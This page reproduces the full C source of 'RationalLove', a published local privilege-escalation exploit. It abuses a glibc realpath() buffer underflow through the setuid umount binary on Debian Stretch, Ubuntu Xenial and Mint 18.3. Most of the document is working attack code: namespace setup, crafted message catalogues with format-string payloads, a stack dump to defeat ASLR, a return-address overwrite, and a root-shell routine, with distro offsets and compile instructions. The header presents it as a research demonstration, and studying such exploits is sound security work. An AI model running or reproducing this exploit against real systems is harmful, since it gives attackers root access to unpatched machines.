扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 |
/** This software is provided by the copyright owner "as is" and any *expressed or implied warranties, including, but not limited to, *the implied warranties of merchantability and fitness for a particular *purpose are disclaimed. In no event shall the copyright owner be *liable for any direct, indirect, incidential, special, exemplary or *consequential damages, including, but not limited to, procurement *of substitute goods or services, loss of use, data or profits or *business interruption, however caused and on any theory of liability, *whether in contract, strict liability, or tort, including negligence *or otherwise, arising in any way out of the use of this software, *even if advised of the possibility of such damage. * *Copyright (c) 2018 halfdog <me (%) halfdog.net> *See https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ for more information. * *This tool exploits a buffer underflow in glibc realpath() *and was tested against latest release from Debian, Ubuntu *Mint. It is intended as demonstration of ASLR-aware exploitation *techniques. It uses relative binary offsets, that may be different *for various Linux distributions and builds. Please send me *a patch when you developed a new set of parameters to add *to the osSpecificExploitDataList structure and want to contribute *them. * *Compile: gcc -o RationalLove RationalLove.c *Run: ./RationalLove * *You may also use "--Pid" parameter, if you want to test the *program on already existing namespaced or chrooted mounts. */ #define _GNU_SOURCE #include <assert.h> #include <errno.h> #include <fcntl.h> #include <limits.h> #include <poll.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mount.h> #include <sys/stat.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #define UMOUNT_ENV_VAR_COUNT 256 /** Dump that number of bytes from stack to perform anti-ASLR. *This number should be high enough to reproducible reach the *stack region sprayed with (UMOUNT_ENV_VAR_COUNT*8) bytes of *environment variable references but low enough to avoid hitting *upper stack limit, which would cause a crash. */ #define STACK_LONG_DUMP_BYTES 4096 char *messageCataloguePreamble="Language: en\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n"; /** The pid of a namespace process with the working directory *at a writable /tmp only visible by the process. */ pid_t namespacedProcessPid=-1; int killNamespacedProcessFlag=1; /** The pathname to the umount binary to execute. */ char *umountPathname; /** The pathname to the named pipe, that will synchronize umount *binary with supervisory process before triggering the second *and last exploitation phase. */ char *secondPhaseTriggerPipePathname; /** The pathname to the second phase exploitation catalogue file. *This is needed as the catalogue cannot be sent via the trigger *pipe from above. */ char *secondPhaseCataloguePathname; /** The OS-release detected via /etc/os-release. */ char *osRelease=NULL; /** This table contains all relevant information to adapt the *attack to supported Linux distros (fully updated) to support *also older versions, hash of umount/libc/libmount should be *used also for lookups. *The 4th string is an array of 4-byte integers with the offset *values for format string generation. Values specify: ** Stack position (in 8 byte words) for **argv ** Stack position of argv[0] ** Offset from __libc_start_main return position from main() *and system() function, first instruction after last sigprocmask() *before execve call. */ #define ED_STACK_OFFSET_CTX 0 #define ED_STACK_OFFSET_ARGV 1 #define ED_STACK_OFFSET_ARG0 2 #define ED_LIBC_GETDATE_DELTA 3 #define ED_LIBC_EXECL_DELTA 4 static char* osSpecificExploitDataList[]={ // Debian Stretch "\"9 (stretch)\"", "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A", "from_archive", // Delta for Debian Stretch "2.24-11+deb9u1" "\x06\0\0\0\x24\0\0\0\x3e\0\0\0\x7f\xb9\x08\x00\x4f\x86\x09\x00", // Ubuntu Xenial libc=2.23-0ubuntu9 "\"16.04.3 LTS (Xenial Xerus)\"", "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A", "_nl_load_locale_from_archive", "\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00", // Linux Mint 18.3 Sylvia - same parameters as "Ubuntu Xenial" "\"18.3 (Sylvia)\"", "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A", "_nl_load_locale_from_archive", "\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00", NULL}; char **osReleaseExploitData=NULL; /** Locate the umount binary within the given search path list, *elements separated by colons. *@return a pointer to a malloced memory region containing the *string or NULL if not found. */ char* findUmountBinaryPathname(char *searchPath) { char *testPathName=(char*)malloc(PATH_MAX); assert(testPathName); while(*searchPath) { char *endPtr=strchr(searchPath, ':'); int length=endPtr-searchPath; if(!endPtr) { length=strlen(searchPath); endPtr=searchPath+length-1; } int result=snprintf(testPathName, PATH_MAX, "%.*s/%s", length, searchPath, "umount"); if(result>=PATH_MAX) { fprintf(stderr, "Binary search path element too long, ignoring it.\n"); } else { struct stat statBuf; result=stat(testPathName, &statBuf); // Just assume, that umount is owner-executable. There might be // alternative ACLs, which grant umount execution only to selected // groups, but it would be unusual to have different variants // of umount located searchpath on the same host. if((!result)&&(S_ISREG(statBuf.st_mode))&&(statBuf.st_mode&S_IXUSR)) { return(testPathName); } } searchPath=endPtr+1; } free(testPathName); return(NULL); } /** Get the value for a given field name. *@return NULL if not found, a malloced string otherwise. */ char* getReleaseFileField(char *releaseData, int dataLength, char *fieldName) { int nameLength=strlen(fieldName); while(dataLength>0) { char *nextPos=memchr(releaseData, '\n', dataLength); int lineLength=dataLength; if(nextPos) { lineLength=nextPos-releaseData; nextPos++; } else { nextPos=releaseData+dataLength; } if((!strncmp(releaseData, fieldName, nameLength))&& (releaseData[nameLength]=='=')) { return(strndup(releaseData+nameLength+1, lineLength-nameLength-1)); } releaseData=nextPos; dataLength-=lineLength; } return(NULL); } /** Detect the release by reading the VERSION field from /etc/os-release. *@return 0 on success. */ int detectOsRelease() { int handle=open("/etc/os-release", O_RDONLY); if(handle<0) return(-1); char *buffer=alloca(1024); int infoLength=read(handle, buffer, 1024); close(handle); if(infoLength<0) return(-1); osRelease=getReleaseFileField(buffer, infoLength, "VERSION"); if(!osRelease) osRelease=getReleaseFileField(buffer, infoLength, "NAME"); if(osRelease) { fprintf(stderr, "Detected OS version: %s\n", osRelease); return(0); } return(-1); } /** Create the catalogue data in memory. *@return a pointer to newly allocated catalogue data memory */ char* createMessageCatalogueData(char **origStringList, char **transStringList, int stringCount, int *catalogueDataLength) { int contentLength=strlen(messageCataloguePreamble)+2; for(int stringPos=0; stringPos<stringCount; stringPos++) { contentLength+=strlen(origStringList[stringPos])+ strlen(transStringList[stringPos])+2; } int preambleLength=(0x1c+0x14*(stringCount+1)+0xc)&-0xf; char *catalogueData=(char*)malloc(preambleLength+contentLength); memset(catalogueData, 0, preambleLength); int *preambleData=(int*)catalogueData; *preambleData++=0x950412de; preambleData++; *preambleData++=stringCount+1; *preambleData++=0x1c; *preambleData++=(*(preambleData-2))+(stringCount+1)*sizeof(int)*2; *preambleData++=0x5; *preambleData++=(*(preambleData-3))+(stringCount+1)*sizeof(int)*2; char *nextCatalogueStringStart=catalogueData+preambleLength; for(int stringPos=-1; stringPos<stringCount; stringPos++) { char *writeString=(stringPos<0)?"":origStringList[stringPos]; int length=strlen(writeString); *preambleData++=length; *preambleData++=(nextCatalogueStringStart-catalogueData); memcpy(nextCatalogueStringStart, writeString, length+1); nextCatalogueStringStart+=length+1; } for(int stringPos=-1; stringPos<stringCount; stringPos++) { char *writeString=(stringPos<0)?messageCataloguePreamble:transStringList[stringPos]; int length=strlen(writeString); *preambleData++=length; *preambleData++=(nextCatalogueStringStart-catalogueData); memcpy(nextCatalogueStringStart, writeString, length+1); nextCatalogueStringStart+=length+1; } assert(nextCatalogueStringStart-catalogueData==preambleLength+contentLength); for(int stringPos=0; stringPos<=stringCount+1; stringPos++) { //*preambleData++=(stringPos+1); *preambleData++=(int[]){1, 3, 2, 0, 4}[stringPos]; } *catalogueDataLength=preambleLength+contentLength; return(catalogueData); } /** Create the catalogue data from the string lists and write *it to the given file. *@return 0 on success. */ int writeMessageCatalogue(char *pathName, char **origStringList, char **transStringList, int stringCount) { int catalogueFd=open(pathName, O_WRONLY|O_CREAT|O_TRUNC|O_NOCTTY, 0644); if(catalogueFd<0) { fprintf(stderr, "Failed to open catalogue file %s for writing.\n", pathName); return(-1); } int catalogueDataLength; char *catalogueData=createMessageCatalogueData( origStringList, transStringList, stringCount, &catalogueDataLength); int result=write(catalogueFd, catalogueData, catalogueDataLength); assert(result==catalogueDataLength); close(catalogueFd); free(catalogueData); return(0); } void createDirectoryRecursive(char *namespaceMountBaseDir, char *pathName) { char pathBuffer[PATH_MAX]; int pathNameLength=0; while(1) { char *nextPathSep=strchr(pathName+pathNameLength, '/'); if(nextPathSep) { pathNameLength=nextPathSep-pathName; } else { pathNameLength=strlen(pathName); } int result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/%.*s", namespaceMountBaseDir, pathNameLength, pathName); assert(result<PATH_MAX); result=mkdir(pathBuffer, 0755); assert((!result)||(errno==EEXIST)); if(!pathName[pathNameLength]) break; pathNameLength++; } } /** This child function prepares the namespaced mount point and *then waits to be killed later on. */ static int usernsChildFunction() { while(geteuid()!=0) { sched_yield(); } int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL); assert(!result); assert(!chdir("/tmp")); int handle=open("ready", O_WRONLY|O_CREAT|O_EXCL|O_NOFOLLOW|O_NOCTTY, 0644); assert(handle>=0); close(handle); sleep(100000); } /** Prepare a process living in an own mount namespace and setup *the mount structure appropriately. The process is created *in a way allowing cleanup at program end by just killing it, *thus removing the namespace. *@return the pid of that process or -1 on error. */ pid_t prepareNamespacedProcess() { if(namespacedProcessPid==-1) { fprintf(stderr, "No pid supplied via command line, trying to create a namespace\nCAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.\n"); char *stackData=(char*)malloc(1<<20); assert(stackData); namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20), CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL); if(namespacedProcessPid==-1) { fprintf(stderr, "USERNS clone failed: %d (%s)\n", errno, strerror(errno)); return(-1); } char idMapFileName[128]; char idMapData[128]; sprintf(idMapFileName, "/proc/%d/setgroups", namespacedProcessPid); int setGroupsFd=open(idMapFileName, O_WRONLY); assert(setGroupsFd>=0); int result=write(setGroupsFd, "deny", 4); assert(result>0); close(setGroupsFd); sprintf(idMapFileName, "/proc/%d/uid_map", namespacedProcessPid); int uidMapFd=open(idMapFileName, O_WRONLY); assert(uidMapFd>=0); sprintf(idMapData, "0 %d 1\n", getuid()); result=write(uidMapFd, idMapData, strlen(idMapData)); assert(result>0); close(uidMapFd); sprintf(idMapFileName, "/proc/%d/gid_map", namespacedProcessPid); int gidMapFd=open(idMapFileName, O_WRONLY); assert(gidMapFd>=0); sprintf(idMapData, "0 %d 1\n", getgid()); result=write(gidMapFd, idMapData, strlen(idMapData)); assert(result>0); close(gidMapFd); // After setting the maps for the child process, the child may // start setting up the mount point. Wait for that to complete. sleep(1); fprintf(stderr, "Namespaced filesystem created with pid %d\n", namespacedProcessPid); } osReleaseExploitData=osSpecificExploitDataList; if(osRelease) { // If an OS was detected, try to find it in list. Otherwise use // default. for(int tPos=0; osSpecificExploitDataList[tPos]; tPos+=4) { if(!strcmp(osSpecificExploitDataList[tPos], osRelease)) { osReleaseExploitData=osSpecificExploitDataList+tPos; break; } } } char pathBuffer[PATH_MAX]; int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd", namespacedProcessPid); assert(result<PATH_MAX); char *namespaceMountBaseDir=strdup(pathBuffer); assert(namespaceMountBaseDir); // Create directories needed for umount to proceed to final state // "not mounted". createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x"); result=snprintf(pathBuffer, sizeof(pathBuffer), "(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]); assert(result<PATH_MAX); createDirectoryRecursive(namespaceMountBaseDir, pathBuffer); result=snprintf(pathBuffer, sizeof(pathBuffer), "(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]); createDirectoryRecursive(namespaceMountBaseDir, pathBuffer); result=snprintf(pathBuffer, sizeof(pathBuffer), "(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]); createDirectoryRecursive(namespaceMountBaseDir, pathBuffer); // Create symlink to trigger underflows. result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down", namespaceMountBaseDir); assert(result<PATH_MAX); result=symlink(osReleaseExploitData[1], pathBuffer); assert(!result||(errno==EEXIST)); // getdate will leave that string in rdi to become the filename // to execute for the next round. char *selfPathName=realpath("/proc/self/exe", NULL); result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/DATEMSK", namespaceMountBaseDir); assert(result<PATH_MAX); int handle=open(pathBuffer, O_WRONLY|O_CREAT|O_TRUNC, 0755); assert(handle>0); result=snprintf(pathBuffer, sizeof(pathBuffer), "#!%s\nunused", selfPathName); assert(result<PATH_MAX); result=write(handle, pathBuffer, result); close(handle); free(selfPathName); // Write the initial message catalogue to trigger stack dumping // and to make the "umount" call privileged by toggling the "restricted" // flag in the context. result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo", namespaceMountBaseDir, osReleaseExploitData[2]); assert(result<PATH_MAX); char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8)); assert(stackDumpStr); char *stackDumpStrEnd=stackDumpStr; stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA", ((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]); for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) { memcpy(stackDumpStrEnd, "%016lx", 6); stackDumpStrEnd+=6; } // We wrote allready 8 bytes, write so many more to produce a // count of 'L' and write that to the stack. As all writes so // sum up to a count aligned by 8, and 'L'==0x4c, we will have // to write at least 4 bytes, which is longer than any "%hhx" // format string output. Hence do not care about the byte content // here. The target write address has a 16 byte alignment due // to varg structure. stackDumpStrEnd+=sprintf(stackDumpStrEnd, "%%1$%dhhx%%%d$hhn", ('L'-8-STACK_LONG_DUMP_BYTES*2)&0xff, STACK_LONG_DUMP_BYTES/16); *stackDumpStrEnd=0; result=writeMessageCatalogue(pathBuffer, (char*[]){ "%s: mountpoint not found", "%s: not mounted", "%s: target is busy\n(In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)" }, (char*[]){"1234", stackDumpStr, "5678"}, 3); assert(!result); free(stackDumpStr); result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo", namespaceMountBaseDir, osReleaseExploitData[2]); assert(result<PATH_MAX); result=mknod(pathBuffer, S_IFIFO|0666, S_IFIFO); assert((!result)||(errno==EEXIST)); secondPhaseTriggerPipePathname=strdup(pathBuffer); result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo", namespaceMountBaseDir, osReleaseExploitData[2]); secondPhaseCataloguePathname=strdup(pathBuffer); free(namespaceMountBaseDir); return(namespacedProcessPid); } /** Create the format string to write an arbitrary value to the *stack. The created format string avoids to interfere with *the complex fprintf format handling logic by accessing fprintf *internal state on stack. Thus the modification method does *not depend on that ftp internals. The current libc fprintf *implementation copies values for formatting before applying *the %n writes, therefore pointers changed by fprintf operation *can only be utilized with the next fprintf invocation. As *we cannot rely on a stack having a suitable number of pointers *ready for arbitrary writes, we need to create those pointers *one by one. Everything needed is pointer on stack pointing *to another valid pointer and 4 helper pointers pointing to *writeable memory. The **argv list matches all those requirements. *@param printfArgvValuePos the position of the argv pointer from *printf format string view. *@param argvStackAddress the address of the argv list, where *the argv[0] pointer can be read. *@param printfArg0ValuePos the position of argv list containing *argv[0..n] pointers. *@param mainFunctionReturnAddress the address on stack where *the return address from the main() function to _libc_start() *is stored. *@param writeValue the value to write to mainFunctionReturnAddress */ void createStackWriteFormatString( char *formatBuffer, int bufferSize, int printfArgvValuePos, void *argvStackAddress, int printfArg0ValuePos, void *mainFunctionReturnAddress, unsigned short *writeData, int writeDataLength) { int result=0; int currentValue=-1; for(int nextWriteValue=0; nextWriteValue<0x10000;) { // Find the lowest value to write. nextWriteValue=0x10000; for(int valuePos=0; valuePos<writeDataLength; valuePos++) { int value=writeData[valuePos]; if((value>currentValue)&&(value<nextWriteValue)) nextWriteValue=value; } if(currentValue<0) currentValue=0; if(currentValue!=nextWriteValue) { result=snprintf(formatBuffer, bufferSize, "%%1$%1$d.%1$ds", nextWriteValue-currentValue); formatBuffer+=result; bufferSize-=result; currentValue=nextWriteValue; } for(int valuePos=0; valuePos<writeDataLength; valuePos++) { if(writeData[valuePos]==nextWriteValue) { result=snprintf(formatBuffer, bufferSize, "%%%d$hn", printfArg0ValuePos+valuePos+1); formatBuffer+=result; bufferSize-=result; } } } // Print the return function address location number of bytes // except 8 (those from the LABEL counter) and write the value // to arg1. int writeCount=((int)mainFunctionReturnAddress-18)&0xffff; result=snprintf(formatBuffer, bufferSize, "%%1$%d.%ds%%1$s%%1$s%%%d$hn", writeCount, writeCount, printfArg0ValuePos); formatBuffer+=result; bufferSize-=result; // Write the LABEL 6 more times, thus multiplying the the single // byte write pointer to an 8-byte aligned argv-list pointer and // update argv[0] to point to argv[1..n]. writeCount=(((int)argvStackAddress)-(writeCount+56))&0xffff; result=snprintf(formatBuffer, bufferSize, "%%1$s%%1$s%%1$s%%1$s%%1$s%%1$s%%1$%d.%ds%%%d$hn", writeCount, writeCount, printfArgvValuePos); formatBuffer+=result; bufferSize-=result; // Append a debugging preamble. result=snprintf(formatBuffer, bufferSize, "-%%35$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%78$s\n", printfArgvValuePos, printfArg0ValuePos-1, printfArg0ValuePos, printfArg0ValuePos+1, printfArg0ValuePos+2, printfArg0ValuePos+3, printfArg0ValuePos+4, printfArg0ValuePos+5, printfArg0ValuePos+6); formatBuffer+=result; bufferSize-=result; } /** Wait for the trigger pipe to open. The pipe will be closed *immediately after opening it. *@return 0 when the pipe was opened before hitting a timeout. */ int waitForTriggerPipeOpen(char *pipeName) { struct timespec startTime, currentTime; int result=clock_gettime(CLOCK_MONOTONIC, &startTime); startTime.tv_sec+=10; assert(!result); while(1) { int pipeFd=open(pipeName, O_WRONLY|O_NONBLOCK); if(pipeFd>=0) { close(pipeFd); break; } result=clock_gettime(CLOCK_MONOTONIC, ¤tTime); if(currentTime.tv_sec>startTime.tv_sec) { return(-1); } currentTime.tv_sec=0; currentTime.tv_nsec=100000000; nanosleep(¤tTime, NULL); } return(0); } /** Invoke umount to gain root privileges. *@return 0 if the umount process terminated with expected exit *status. */ int attemptEscalation() { int escalationSuccess=-1; char targetCwd[64]; snprintf( targetCwd, sizeof(targetCwd)-1, "/proc/%d/cwd", namespacedProcessPid); int pipeFds[2]; int result=pipe(pipeFds); assert(!result); pid_t childPid=fork(); assert(childPid>=0); if(!childPid) { // This is the child process. close(pipeFds[0]); fprintf(stderr, "Starting subprocess\n"); dup2(pipeFds[1], 1); dup2(pipeFds[1], 2); close(pipeFds[1]); result=chdir(targetCwd); assert(!result); // Create so many environment variables for a kind of "stack spraying". int envCount=UMOUNT_ENV_VAR_COUNT; char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*)); assert(umountEnv); umountEnv[envCount--]=NULL; umountEnv[envCount--]="LC_ALL=C.UTF-8"; while(envCount>=0) { umountEnv[envCount--]="AANGUAGE=X.X"; } // Use the built-in C locale. // Invoke umount first by overwriting heap downwards using links // for "down", then retriggering another error message ("busy") // with hopefully similar same stack layout for other path "/". char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/", "/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL}; result=execve(umountArgs[0], umountArgs, umountEnv); assert(!result); } close(pipeFds[1]); int childStdout=pipeFds[0]; int escalationPhase=0; char readBuffer[1024]; int readDataLength=0; char stackData[STACK_LONG_DUMP_BYTES]; int stackDataBytes=0; struct pollfd pollFdList[1]; pollFdList[0].fd=childStdout; pollFdList[0].events=POLLIN; // Now learn about the binary, prepare data for second exploitation // phase. The phases should be: // * 0: umount executes, glibc underflows and causes an util-linux.mo // file to be read, that contains a poisonous format string. // Successful poisoning results in writing of 8*'A' preamble, // we are looking for to indicate end of this phase. // * 1: The poisoned process writes out stack content to defeat // ASLR. Reading all relevant stack end this phase. // * 2: The poisoned process changes the "LANGUAGE" parameter, // thus triggering re-read of util-linux.mo. To avoid races, // we let umount open a named pipe, thus blocking execution. // As soon as the pipe is ready for writing, we write a modified // version of util-linux.mo to another file because the pipe // cannot be used for sending the content. // * 3: We read umount output to avoid blocking the process and // wait for it to ROP execute fchown/fchmod and exit. while(1) { if(escalationPhase==2) { // We cannot use the standard poll from below to monitor the pipe, // but also we do not want to block forever. Wait for the pipe // in nonblocking mode and then continue with next phase. result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname); if(result) { goto attemptEscalationCleanup; } escalationPhase++; } // Wait at most 10 seconds for IO. result=poll(pollFdList, 1, 10000); if(!result) { // We ran into a timeout. This might be the result of a deadlocked // child, so kill the child and retry. fprintf(stderr, "Poll timed out\n"); goto attemptEscalationCleanup; } // Perform the IO operations without blocking. if(pollFdList[0].revents&(POLLIN|POLLHUP)) { result=read( pollFdList[0].fd, readBuffer+readDataLength, sizeof(readBuffer)-readDataLength); if(!result) { if(escalationPhase<3) { // Child has closed the socket unexpectedly. goto attemptEscalationCleanup; } break; } if(result<0) { fprintf(stderr, "IO error talking to child\n"); goto attemptEscalationCleanup; } readDataLength+=result; // Handle the data depending on escalation phase. int moveLength=0; switch(escalationPhase) { case 0: // Initial sync: read A*8 preamble. if(readDataLength<8) continue; char *preambleStart=memmem(readBuffer, readDataLength, "AAAAAAAA", 8); if(!preambleStart) { // No preamble, move content only if buffer is full. if(readDataLength==sizeof(readBuffer)) moveLength=readDataLength-7; break; } // We found, what we are looking for. Start reading the stack. escalationPhase++; moveLength=preambleStart-readBuffer+8; case 1: // Read the stack. // Consume stack data until or local array is full. while(moveLength+16<=readDataLength) { result=sscanf(readBuffer+moveLength, "%016lx", (int*)(stackData+stackDataBytes)); if(result!=1) { // Scanning failed, the data injection procedure apparently did // not work, so this escalation failed. goto attemptEscalationCleanup; } moveLength+=sizeof(long)*2; stackDataBytes+=sizeof(long); // See if we reached end of stack dump already. if(stackDataBytes==sizeof(stackData)) break; } if(stackDataBytes!=sizeof(stackData)) break; // All data read, use it to prepare the content for the next phase. fprintf(stderr, "Stack content received, calculating next phase\n"); int *exploitOffsets=(int*)osReleaseExploitData[3]; // This is the address, where source Pointer is pointing to. void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]]; // This is the stack address source for the target pointer. void *sourcePointerLocation=sourcePointerTarget-0xd0; void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]]; // This is the stack address of the libc start function return // pointer. void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10; fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n", sourcePointerLocation, sourcePointerTarget, targetPointerTarget, libcStartFunctionReturnAddressSource); // So the libcStartFunctionReturnAddressSource is the lowest address // to manipulate, targetPointerTarget+... void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2]; void *stackWriteData[]={ libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA], libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA] }; fprintf(stderr, "Changing return address from %p to %p, %p\n", libcStartFunctionAddress, stackWriteData[0], stackWriteData[1]); escalationPhase++; char *escalationString=(char*)malloc(1024); createStackWriteFormatString( escalationString, 1024, exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf sourcePointerTarget, // Base value to write exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ... libcStartFunctionReturnAddressSource, (unsigned short*)stackWriteData, sizeof(stackWriteData)/sizeof(unsigned short) ); fprintf(stderr, "Using escalation string %s", escalationString); result=writeMessageCatalogue( secondPhaseCataloguePathname, (char*[]){ "%s: mountpoint not found", "%s: not mounted", "%s: target is busy\n(In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)" }, (char*[]){ escalationString, "BBBB5678%3$s\n", "BBBBABCD%s\n"}, 3); assert(!result); break; case 2: case 3: // Wait for pipe connection and output any result from mount. readDataLength=0; break; default: fprintf(stderr, "Logic error, state %d\n", escalationPhase); goto attemptEscalationCleanup; } if(moveLength) { memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength); readDataLength-=moveLength; } } } attemptEscalationCleanup: // Wait some time to avoid killing umount even when exploit was // successful. sleep(1); close(childStdout); // It is safe to kill the child as we did not wait for it to finish // yet, so at least the zombie process is still here. kill(childPid, SIGKILL); pid_t waitedPid=waitpid(childPid, NULL, 0); assert(waitedPid==childPid); return(escalationSuccess); } /** This function invokes the shell specified via environment *or the default shell "/bin/sh" when undefined. The function *does not return on success. *@return -1 on error */ int invokeShell(char *shellName) { if(!shellName) shellName=getenv("SHELL"); if(!shellName) shellName="/bin/sh"; char* shellArgs[]={shellName, NULL}; execve(shellName, shellArgs, environ); 